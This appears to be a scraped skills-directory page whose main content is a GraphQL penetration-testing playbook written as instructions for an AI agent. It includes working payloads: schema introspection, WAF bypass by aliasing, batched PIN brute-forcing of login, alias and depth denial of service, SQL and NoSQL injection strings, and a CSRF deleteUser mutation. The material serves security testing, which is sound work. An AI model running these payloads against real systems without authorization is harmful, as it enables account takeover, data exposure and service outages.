agent-security-hardening
AFaffaan-m/ECC278k4,046 new stars in the last 7 days
GraphQL pentest playbook — find the endpoint, dump the schema (introspection or field-suggestion fallback), then test for authorization gaps, query batching, alias overload, depth-based DoS, and SQLi/NoSQLi in resolver arguments. Use when the target exposes a /graphql endpoint, GraphiQL, Apollo, or accepts GraphQL queries.
Execution rule: resolve the real GraphQL endpoint first, then run concrete http/curl requests against it. Never write literal placeholders such as <other-id> to files; ask once if required IDs or sessions are missing.
Standard endpoints to probe first (use http with GET / POST):
/graphql, /graphiql, /api/graphql, /v1/graphql, /v2/graphql, /query, /api/query.
POST a tiny query — every implementation answers this:
{"query":"{__typename}"}
A reply containing {"data":{"__typename":"Query"}} confirms the endpoint. Note the response shape: { "data": ..., "errors": [...] }.
{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"}
Save the response — every later attack starts from this schema. Use file_write to keep it next to the engagement notes.
Apollo and most other servers leak field names through error messages:
{"query":"{ user { secrt } }"}
Reply often contains Did you mean "secret"?. Iterate to enumerate the schema field-by-field. Read read_payloads(skill="graphql", file="field-suggestion-probes.txt") for a starter list.
Some WAFs / middleware block the __schema keyword. Bypass with an alias:
{"query":"query { my_alias: __schema { types { name } } }"}
Or use __type(name: "User") instead of __schema to dump types one at a time.
Some servers enforce auth only on POST. Try the same query as a GET:
GET /graphql?query={__schema{types{name}}}
GraphQL queries hit many resolvers; auth checks often live on outer fields only. Look for inner resolvers (user.email, order.shippingAddress) that fetch without scoping to the caller.
Test patterns:
me { email } vs user(id: <other-id>) { email }.order(id: X) { user { email phone } } — does it leak fields you can't access directly?updateProfile(input: { userId: <other-id>, ... }).Some servers accept a JSON array as the request body, processing each query independently. Use this to:
[{"query":"mutation{login(user:\"x\",pin:\"0001\"){token}}"},{"query":"mutation{login(user:\"x\",pin:\"0002\"){token}}"},{"query":"mutation{login(user:\"x\",pin:\"0003\"){token}}"}]
{"query":"{ a1: secret a2: secret a3: secret a4: secret ... a1000: secret }"}
If the server doesn't cap aliases, you get N × the resolver cost in one request. Use to:
login(...)).Recursive queries through cyclic types:
{ user { friends { friends { friends { friends { id } } } } } }
If the server has no depthLimit, you get exponential expansion. Confirm DoS only against authorized lab targets.
Resolvers often pass arguments straight into a query. Try:
{"query":"query($id:String!){ user(id:$id){name} }","variables":{"id":"1' OR '1'='1"}}
{"query":"{ user(id: \"{$ne: null}\") { name } }"}
For SSRF, look for fields that fetch URLs server-side (image(url: ...), webhook(url: ...) — chain into the [[ssrf]] skill).
If the endpoint accepts application/x-www-form-urlencoded or doesn't check Origin/CSRF token, GraphQL mutations are CSRF-able. Try:
POST /graphql
Content-Type: application/x-www-form-urlencoded
query=mutation{deleteUser(id:1)}
When confirming, always include:
curl one-liner.If the only finding is "introspection enabled," that alone is info unless the schema reveals private fields. Don't file P5 noise.
AFaffaan-m/ECC278k4,046 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
GAgarrytan/gstack136k883 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills106k3,628 new stars in the last 7 days